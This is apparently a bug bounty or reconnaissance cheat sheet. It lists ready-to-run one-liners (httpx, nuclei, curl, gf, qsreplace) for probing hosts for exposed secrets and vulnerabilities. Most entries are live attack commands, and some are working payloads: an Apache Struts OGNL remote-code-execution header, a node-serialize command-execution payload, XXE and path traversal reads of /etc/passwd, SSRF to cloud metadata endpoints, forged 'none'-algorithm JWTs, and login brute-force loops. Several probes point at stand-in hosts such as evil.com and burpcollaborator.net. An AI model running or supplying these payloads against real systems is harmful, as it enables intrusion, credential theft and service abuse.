cat subdomains.txt | httpx -silent -path /config.php -mc 200 -o config_php_exposed.txtIdentify Publicly Available Magento Admin Panels
cat subdomains.txt | httpx -silent -path /admin -mc 200 -fr 'Magento' -o magento_admin_exposed.txtCheck for SSRF by Detecting Response Based Redirects
cat subdomains.txt | httpx -silent -H "X-Forwarded-For: attacker.com" -fr 'Location: attacker.com' -o ssrf_possible.txtDetect Exposed Env Files (.env with Secrets)
cat subdomains.txt | httpx -silent -path /.env -mc 200 -o exposed_env_files.txtFind XMLRPC Enabled on WordPress (Brute Force Vector)
cat subdomains.txt | httpx -silent -path /xmlrpc.php -mc 200 -o wordpress_xmlrpc.txtIdentify Open Kibana Dashboards (Sensitive Logs)
cat subdomains.txt | httpx -silent -path /app/kibana -mc 200 -o open_kibana.txtFind Servers Exposing phpinfo() (Sensitive Config)
cat subdomains.txt | httpx -silent -path /phpinfo.php -mc 200 -o phpinfo_exposed.txtDetect Publicly Accessible Swagger APIs
cat subdomains.txt | httpx -silent -path /swagger-ui/ -mc 200 -o swagger_exposed.txtSearch for SQL Dumps and Backup Files (db.sql/db.zip)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/db.sql\n/backup.sql\n/database.sql') -mc 200 -o sql_dumps_exposed.txtDetect LFI Points (path traversal)
cat subdomains.txt | gf lfi | httpx -silent -o lfi_possible_urls.txtIdentify Reflected XSS via GET Parameters
cat subdomains.txt | gf xss | qsreplace '"><img src=x onerror=alert(document.domain)>' | httpx -silent -fr '"><img src=x onerror=alert' -o reflected_xss.txtFind Outdated WordPress Versions (Vuln Detection)
cat subdomains.txt | httpx -silent -path /readme.html -mc 200 -o wordpress_readme.txtSearch for PHPMyAdmin Exposed Panels
cat subdomains.txt | httpx -silent -path /phpmyadmin -mc 200 -o phpmyadmin_exposed.txtDetect Command Injection Points
cat subdomains.txt | gf command-injection | qsreplace ';id' | httpx -silent -fr 'uid=' -o cmd_injection.txtFind Exposed Docker Daemon API (Remote Control)
naabu -list subdomains.txt -p 2375 -silent | httpx -silent -o docker_api_exposed.txtIdentify Open Git Directories (.git Exposed)
cat subdomains.txt | httpx -silent -path /.git/config -mc 200 -o git_dirs_exposed.txtScan for Exposed Server Status Pages (Apache/Nginx)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/server-status\n/nginx-status') -mc 200 -o server_status_exposed.txtDetect Open Jenkins Panels with Script Console
cat subdomains.txt | httpx -silent -path /script -mc 200 -o jenkins_script_console.txtFind Exposed AWS S3 Buckets via Subdomains
cat subdomains.txt | nuclei -t s3-detect.yaml -o open_s3_buckets.txtSearch for Potential Open Redirects (Unsafe Redirects)
cat subdomains.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -fr 'evil.com' -o open_redirects.txtFind Debug/Error Pages (Sensitive Stacktrace)
cat subdomains.txt | httpx -silent -sc -fr 'error\|exception\|trace' -o error_pages.txtDetect Exposed Jenkins API Endpoints
cat subdomains.txt | httpx -silent -path /api/json -mc 200 -o jenkins_api_exposed.txtFind Exposed Kubernetes Dashboard (Cluster Control)
cat subdomains.txt | httpx -silent -path /api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/ -mc 200 -o k8s_dashboard_exposed.txtDetect SSRF via Open Redirect Chains
cat subdomains.txt | gf ssrf | qsreplace 'http://169.254.169.254/latest/meta-data/' | httpx -silent -fr 'ami-id\|instance-id' -o ssrf_exploitable.txtLook for Backup or Archive Files (tar.gz, zip)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.tar.gz\n/site-backup.zip') -mc 200 -o backup_files_exposed.txtIdentify Known Vulnerable CMS Versions
nuclei -l subdomains.txt -t cves/ -o cms_cve_vulns.txtFind JWT Tokens or Sensitive Tokens in Responses
cat subdomains.txt | httpx -silent -sr | grep -Eo 'eyJ[^"]+' | tee jwt_tokens.txtDetect Basic Auth Protected Pages (Bruteforce Target)
cat subdomains.txt | httpx -silent -sc -H "Authorization: Basic fakeauth" -o basic_auth_detected.txtDetect Exposed .git Repositories (Full Source Code Leak)
cat subdomains.txt | httpx -silent -path /.git/config -mc 200 -o exposed_git_repos.txtFind Public .DS_Store Files (Directory Listing Exposure)
cat subdomains.txt | httpx -silent -path /.DS_Store -mc 200 -o ds_store_exposed.txtScan for Exposed .svn Repos (Source Code Leak)
cat subdomains.txt | httpx -silent -path /.svn/entries -mc 200 -o svn_repos_exposed.txtFind Open GraphQL Endpoints (GraphQL Injection)
cat subdomains.txt | httpx -silent -path /graphql -mc 200 -o graphql_exposed.txtDetect Exposed Laravel Debug Pages (Full App Secrets)
cat subdomains.txt | httpx -silent -path /_ignition/health-check -mc 200 -o laravel_debug_exposed.txtCheck for File Upload Points (RCE Chances)
cat subdomains.txt | gf upload | httpx -silent -o file_upload_points.txtFind XML External Entity (XXE) Injection Points
cat subdomains.txt | gf xxe | qsreplace 'file:///etc/passwd' | httpx -silent -fr 'root:x' -o xxe_exploitable.txtDetect Misconfigured AWS Cognito Pools (Token Takeover)
cat subdomains.txt | nuclei -t misconfiguration/cognito-detect.yaml -o aws_cognito_misconfig.txtScan for Open Cloud Storage Buckets (GCP/Azure)
cat subdomains.txt | nuclei -t exposed-storage/ -o cloud_buckets_exposed.txtFind Sensitive Files via URL Fuzzing
ffuf -u FUZZ -w wordlists/sensitive-files.txt -mc 200 -o sensitive_files_found.txtDetect Open Prometheus Panels (Monitoring Exposure)
cat subdomains.txt | httpx -silent -path /graph -mc 200 -o prometheus_exposed.txtFind Open Redirection in APIs
cat subdomains.txt | gf redirect | qsreplace 'https://evil.com' | httpx -silent -fr 'evil.com' -o open_redirects_apis.txtDetect Misconfigured CORS (Any Origin Allowed)
cat subdomains.txt | httpx -silent -H "Origin: https://evil.com" -fr "access-control-allow-origin: https://evil.com" -o misconfigured_cors.txtDetect Backup Archives (Zip/Tar Files)
cat subdomains.txt | httpx -silent -path-list <(echo -e '/backup.zip\n/backup.tar.gz\n/site-backup.zip') -mc 200 -o backup_archives_found.txtFind Exposed Debug Logs (Stack Traces, Errors)
cat subdomains.txt | httpx -silent -path /debug.log -mc 200 -o debug_logs_exposed.txtScan for SSRF via Parameter Fuzzing
cat subdomains.txt | gf ssrf | qsreplace 'http://169.254.169.254/latest/meta-data/' | httpx -silent -fr 'ami-id\|instance-id' -o ssrf_targets.txtIdentify Server Headers for Misconfig Analysis
cat subdomains.txt | httpx -silent -sc -H 'X-Check: true' -o headers_info.txtDetect Missing Security Headers (Hardening Issues)
cat subdomains.txt | nuclei -t security-misconfiguration/ -o missing_security_headers.txtFind Exposed WordPress Debug Logs
cat subdomains.txt | httpx -silent -path /wp-content/debug.log -mc 200 -o wordpress_debug_log.txtDetect Exposed GITLAB CI Files (Pipeline Secrets)
cat subdomains.txt | httpx -silent -path /.gitlab-ci.yml -mc 200 -o gitlab_ci_exposed.txtFind API Keys Leaked in JS Files
katana -list subdomains.txt -silent -js | grep -E 'apiKey|client_secret|access_token' -o api_keys_leaked.txtDetect Old PHPMyAdmin Panels (Known Vulns)
cat subdomains.txt | httpx -silent -path /phpmyadmin/ -mc 200 -o phpmyadmin_found.txtIdentify Exposed Kibana Panels (Log Monitoring)
cat subdomains.txt | httpx -silent -path /app/kibana -mc 200 -o kibana_panels_exposed.txtScan for Path Traversal (../../etc/passwd)
cat subdomains.txt | gf lfi | qsreplace '../../etc/passwd' | httpx -silent -fr 'root:x' -o path_traversal_found.txtFind Open Admin Panels (Unprotected Login)
cat subdomains.txt | nuclei -t exposed-panels/ -o admin_panels_exposed.txtDetect Known CVEs via Nuclei (Automated Vuln Scan)
nuclei -l subdomains.txt -t cves/ -o known_cves_found.txtIdentify Unsafe Redirects (via Location Header)
cat subdomains.txt | httpx -silent -sc -o redirects.txt && cat redirects.txt | grep 'Location:' | grep -i 'http'Find Kubernetes Dashboard Exposures
cat subdomains.txt | httpx -silent -path /api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/ -mc 200 -o k8s_dashboard_exposed.txtExposed Swagger / API Documentation
curl -s https://target.com/swagger.jsonAdmin Panel Discovery (CMS Detection)
curl -s https://target.com/admin/ | grep -i 'cms'GCP Metadata SSRF Check
curl "https://target.com/?url=http://metadata.google.internal/computeMetadata/v1/ -H 'Metadata-Flavor: Google'"Azure Metadata Leak via SSRF
curl "https://target.com/?url=http://169.254.169.254/metadata/instance?api-version=2021-01-01" -H "Metadata: true"OAuth Token Leak in Referrer
curl -I https://target.com/oauth/callback?code=abcd1234AWS Keys Hunt in Public Repos (with GitHub CLI)
gh search code "AWS_ACCESS_KEY_ID" --language python --limit 100IDOR via Incrementing Document IDs
for id in $(seq 1 100); do curl -s https://target.com/documents/$id; doneSensitive Backup File Discovery
curl -I https://target.com/config.bakJWT Key Disclosure via Well-Known File
curl -s https://target.com/.well-known/jwks.jsonMobile Deep Link Misconfig Check
adb shell am start -a android.intent.action.VIEW -d "target://app/link?param=test"Testing Rate Limiting (Brute Force)
seq 1 1000 | xargs -P10 -I{} curl -X POST "https://target.com/api/login" -d 'user=admin&password=wrong{}'Client-Side Security Headers Audit
curl -I https://target.com | grep -Ei 'strict-transport|content-security|x-frame'Session Fixation Check
Reuse session after login/logout:
curl -c cookies.txt https://target.com/login && curl -b cookies.txt https://target.com/dashboardExposed Debug Endpoints
curl -s https://target.com/debug/varsDirect Database Query via GraphQL
curl -X POST https://target.com/graphql -d '{"query":"{users{username,password}}"}'DNS Zone Transfer Misconfig (AXFR)
dig axfr target.com @ns1.target.comMisconfigured CNAME Takeover
dig cname subdomain.target.comLFI via Parameter Tampering
curl "https://target.com/page?file=../../../../etc/passwd"WebSocket Security Check (Frame Injection)
wscat -c ws://target.com/socketSensitive Parameter Brute Force
cat params.txt | xargs -I{} curl -s "https://target.com/?{}=test"GraphQL Introspection Check
curl -X POST https://target.com/graphql -d '{"query":"{__schema{types{name}}}"}'Public GitHub Secrets Hunt
gh search code "api_key" --repo target/repoCSP Bypass Discovery
curl -I https://target.com | grep -i content-security-policyKubernetes Dashboard Exposure
curl -k https://target.com/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/Google Dorking One-Liner
xdg-open "https://www.google.com/search?q=site:target.com filetype:env"Firebase Database Exposure Check
curl -s https://target.firebaseio.com/.jsonHeader Injection Test
curl -I "https://target.com/%0D%0AX-Test:evil"AWS S3 Bucket Direct List
curl https://target.s3.amazonaws.com/Test SSRF via Redirect
curl "https://target.com/redirect?url=http://169.254.169.254"Test Command Injection via Headers
curl -H "User-Agent: ;id" https://target.com/Exposed Git Folder
curl -s https://target.com/.git/configGCP Storage Bucket Exposure
curl -s https://storage.googleapis.com/target-bucket-name/Open Redirect Discovery
curl -I "https://target.com/redirect?url=https://evil.com"Fast Path Traversal Discovery
curl "https://target.com/download?file=../../../../etc/passwd"Testing File Upload Handling
curl -F "file=@/etc/passwd" https://target.com/uploadSubdomain Takeover Check (CNAME)
dig cname sub.target.comCheck for Anonymous FTP Access
ftp target.comBackup Files Finder
curl -I https://target.com/index.php.bakCloudFront Misconfiguration Detection
curl -I https://target.cloudfront.netPublic Trello/Slack Links in Code
gh search code "trello.com/b/" --repo target/repoEmail Spoofing via Misconfigured SPF
dig txt target.comWeak JWT Secret Guessing
echo -n 'eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VyIjogImFkbWluIn0' | base64 -dTest for Public Firebase Storage
curl -s https://target.firebaseio.com/.jsonUnrestricted File Download (Insecure Direct Object Reference)
curl -s https://target.com/files/1.pdfDiscover Admin Portals
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtCheck for Debug Endpoints
curl -s https://target.com/debug/varsServer Header Disclosure
curl -I https://target.com | grep ServerFind Exposed GitHub Actions Secrets
gh api repos/target/repo/actions/secretsTest Blind XSS via User-Agent
curl -A "<script>alert(document.domain)</script>" https://target.com/Test for PHP Info Disclosure
curl -s https://target.com/phpinfo.phpExposed Kubernetes Dashboard via Proxy
curl -k https://target.com/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/GraphQL Schema Discovery
curl -X POST https://target.com/graphql -d '{"query":"{__schema{types{name}}}"}'Check for Exposed AWS Lambda Function
curl -s https://target.com/.netlify/functions/Sensitive Parameter Fuzzing
ffuf -u https://target.com/?FUZZ=test -w params.txtDetect Misconfigured CORS
curl -I -H "Origin: https://evil.com" https://target.comCheck for Weak JWT Tokens (None Algorithm)
curl -s https://target.com/api -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ."Exposed .env Files (Sensitive Config)
curl -s https://target.com/.envSensitive GitHub Issues (Bug Bounty Targets)
gh issue list --repo target/repo --search "security"Exposed Internal IP Disclosure via Headers
curl -I https://target.com | grep -i 'x-originating-ip\|x-forwarded-for'Reverse Proxy Bypass Tricks
curl -I https://target.com/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwdCheck for SSRF via Open Redirects
curl "https://target.com/redirect?url=http://burpcollaborator.net"Check for Command Injection in Parameters
curl "https://target.com/ping?host=127.0.0.1;id"Test for XML External Entity (XXE)
curl -X POST https://target.com/upload -d '<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><foo>&xxe;</foo>'Test for Server-Side Template Injection (SSTI)
curl "https://target.com/render?template={{7*7}}"Sensitive File Leak Check (.DS_Store, .bak)
curl -I https://target.com/.DS_StoreDNS Takeover Discovery
host -t cname sub.target.comTest for Misconfigured CORS (Wildcard Origin)
curl -I -H "Origin: https://evil.com" https://target.comDirectory Traversal with Double Encoding
curl "https://target.com/download?file=%252E%252E%252F%252E%252E%252Fetc%252Fpasswd"Check for Exposed Configuration Files
curl -s https://target.com/wp-config.phpFind Environment Variables in Responses
curl -s https://target.com | grep -E 'AWS_ACCESS_KEY|DB_PASSWORD'Check for Misconfigured Security Headers
curl -I https://target.com | grep -i "X-Frame-Options\|Content-Security-Policy\|Strict-Transport-Security"Test for Gopher SSRF
curl "https://target.com/?url=gopher://127.0.0.1:6379/_INFO"Open Admin Panels Discovery
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,aspxExposed Docker API
curl -s http://target.com:2375/containers/jsonCheck for Log Injection
curl "https://target.com/login?username=%0a%0dINJECTEDLOG&password=test"Test for Prototype Pollution
curl "https://target.com/api?__proto__[polluted]=true"Exposed Backup Files via Common Extensions
curl -I https://target.com/index.php~Check for Arbitrary File Read (Java Web Apps)
curl -s https://target.com/admin/..;/WEB-INF/web.xmlCheck for Error-Based SQL Injection
curl "https://target.com/product?id=1'"Check for Misconfigured Exposed GitLab/GitHub Pages
curl -I https://target.com/.gitlab-ci.ymlFind Public S3 Buckets in JavaScript Files
curl -s https://target.com/app.js | grep "s3.amazonaws.com"Test for Apache Struts RCE (Legacy)
curl -X POST -H "Content-Type: %{(#_=‘multipart/form-data’).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘id’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,‘/c’,#cmd}:{‘/bin/sh’,‘-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}" https://target.com/upload.actionDetect Java Deserialization (CommonsCollections)
curl -X POST -H "Content-Type: application/x-java-serialized-object" --data-binary @exploit.ser https://target.com/uploadExposed Jenkins Console
curl -s https://target.com/scriptInsecure Cookie Handling Check
curl -I https://target.com | grep -i Set-CookieFind API Endpoints Directly from Web Responses
curl -s https://target.com | grep -oE 'https?://[^"]+/api/[^"]+' | sort -uFind Hardcoded Secrets in JS Files
curl -s https://target.com/app.js | grep -E "apikey|token|password|secret|client_id"Detect GraphQL Endpoints Automatically
curl -I https://target.com/graphqlTest for Insecure Deserialization via JSON
curl -X POST https://target.com/api/v1/process -H "Content-Type: application/json" -d '{"user":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"id\")}()"}'Detect AWS Keys Leaked in Source
curl -s https://target.com/app.js | grep -E "AKIA[0-9A-Z]{16}"Check for Insecure Direct Object Reference (IDOR)
curl "https://target.com/api/v1/users/1234" -b "session=your_cookie_here"Change 1234 to 1233 or 1235 and see if you access other user data.
Test for JWT None Algorithm Vulnerability
echo '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-' | tr -d '\n' | xargs -I % curl -H "Authorization: Bearer %.eyJ1c2VyIjoiYWRtaW4ifQ." https://target.com/api/privateFind Sensitive Pages via Archive.org
curl -s "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" | grep -E "backup|admin|.sql|.env|.git"Here is the converted list:
Test for Server-Side Request Forgery (Advanced)
curl "https://target.com/api/fetch?url=http://burpcollaborator.net"Auto-Scan for CVEs (Nuclei FTW)
nuclei -u https://target.com -t cves/Detect Prototype Pollution in Query Strings
curl "https://target.com/api?__proto__[exploit]=polluted"Test for Cache Poisoning
curl -H "X-Forwarded-Host: evil.com" https://target.comFind Misconfigured S3 Buckets via Subdomains
host -t cname files.target.com | grep amazonawsCheck for HTTP Parameter Pollution (HPP)
curl "https://target.com/login?user=admin&user=guest"Test for Open S3 Buckets Directly
aws s3 ls s3://target-bucket-name --no-sign-requestSearch for Exposed GitHub Tokens in Source
curl -s https://target.com/app.js | grep -E 'ghp_[a-zA-Z0-9]{36}'Test for Business Logic Bypass (Rate Limit)
for i in {1..100}; do curl -X POST https://target.com/api/v1/reset-password; doneDetect Information Disclosure via Debug Headers
curl -I https://target.com | grep -i "debug\|x-powered-by\|server"Detect Unsafe Cross-Origin Resource Sharing (CORS)
curl -I -H "Origin: https://evil.com" https://target.comAuto-Find Secrets in Git Repos (GitLeaks)
gitleaks detect --source=https://github.com/target/repo.gitDetect Open Redirect via Path Injection
curl "https://target.com/redirect?next=//evil.com"Find Subdomain Takeover with Subfinder + Nuclei
subfinder -d target.com | nuclei -t takeover/Test for SOAP Injection (If SOAP API Detected)
curl -X POST https://target.com/soap -d '<?xml version="1.0"?><soap:Envelope><soap:Body><exploit><![CDATA[1 or 1=1]]></exploit></soap:Body></soap:Envelope>'Detect Weak JWT Secrets (Bruteforce)
jwt-tool eyJhbGciOiJ... --brute --wordlist=/usr/share/wordlists/rockyou.txtExposed ENV Files via .env
curl -s https://target.com/.envCheck for Cloud Metadata Exposure (AWS/GCP/Azure)
curl -H "Host: 169.254.169.254" https://target.comDetect Command Injection via Parameter Fuzzing
curl 'https://target.com/ping?ip=127.0.0.1;id'Test for Fast Redirect Bypass (Open Redirect)
curl "https://target.com/redirect?url=//evil.com"Detect Path Traversal in Parameters
curl "https://target.com/api/v1/files?path=../../../../etc/passwd"Look for Exposed Kubernetes Dashboard
curl -I https://target.com/k8s/Find Rate Limit Issues in Password Reset API
seq 1 100 | xargs -I % -P 20 curl -X POST https://target.com/api/v1/resetTest HTTP Smuggling with CRLF Injection
printf "GET / HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG\r\n\r\n" | nc target.com 80Detect Client-Side Storage Leaks (localStorage/sessionStorage)
curl -s https://target.com/app.js | grep -i "localStorage\|sessionStorage"Check for Blind SSRF via PDF Generation
curl -X POST https://target.com/api/generate-pdf -d '{"url":"http://your-collaborator.burpcollaborator.net"}'Test for Misconfigured CSP (Content Security Policy)
curl -I https://target.com | grep -i "content-security-policy"Detect Unauthenticated Admin Panels
curl -I https://target.com/admin/Check for Web Cache Deception
curl -I https://target.com/logout.jpgLook for Backup Files Exposed
curl -I https://target.com/config.php.bakScan for Parameter Pollution (HPP)
curl "https://target.com/api?user=admin&user=guest"Detect JWT Injection
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoibWVAdmUuY29tIn0." https://target.com/api/userCheck for Broken Object Level Authorization (BOLA)
curl "https://target.com/api/v1/orders/1001" -b "session=your-cookie"Change 1001 to 1002, 1003 and see if you can access others' data.
Test for Insecure Redirect via Referer Header
curl -H "Referer: https://evil.com" https://target.comIdentify Leaked API Documentation
curl -s https://target.com/api/docs/Test for GraphQL Batch Query Abuse
curl -X POST https://target.com/graphql -d '{"query":"{user(id:1) {name} user(id:2) {name} user(id:3) {name}}"}'Find Misconfigured CORS (Advanced)
curl -I -H "Origin: https://evil.com" https://target.comCheck for WebSockets Injection
wscat -c ws://target.com/socketSearch for Backup Directories in Wayback
curl -s "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" | grep -iE "\.bak|\.old|\.zip"Find Laravel .env Exposure
curl -s https://target.com/.envDetect Exposed Debug Pages (Laravel, Symfony, etc)
curl -I https://target.com/_profiler/Check for Misconfigured Proxy Headers (IP Spoofing)
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin/Look for API Key in Mobile App Files
curl -s https://target.com/app.apk | strings | grep -i "apikey\|token"Scan for WAF Bypass via Encoding
curl --path-as-is "https://target.com/%2e%2e/%2e%2e/admin/"Test for Host Header Injection
curl -H "Host: evil.com" https://target.comLook for S3 Bucket Leaks in JS
curl -s https://target.com/app.js | grep -i "s3.amazonaws.com"Detect File Upload Vulnerabilities
curl -F "[email protected]" https://target.com/upload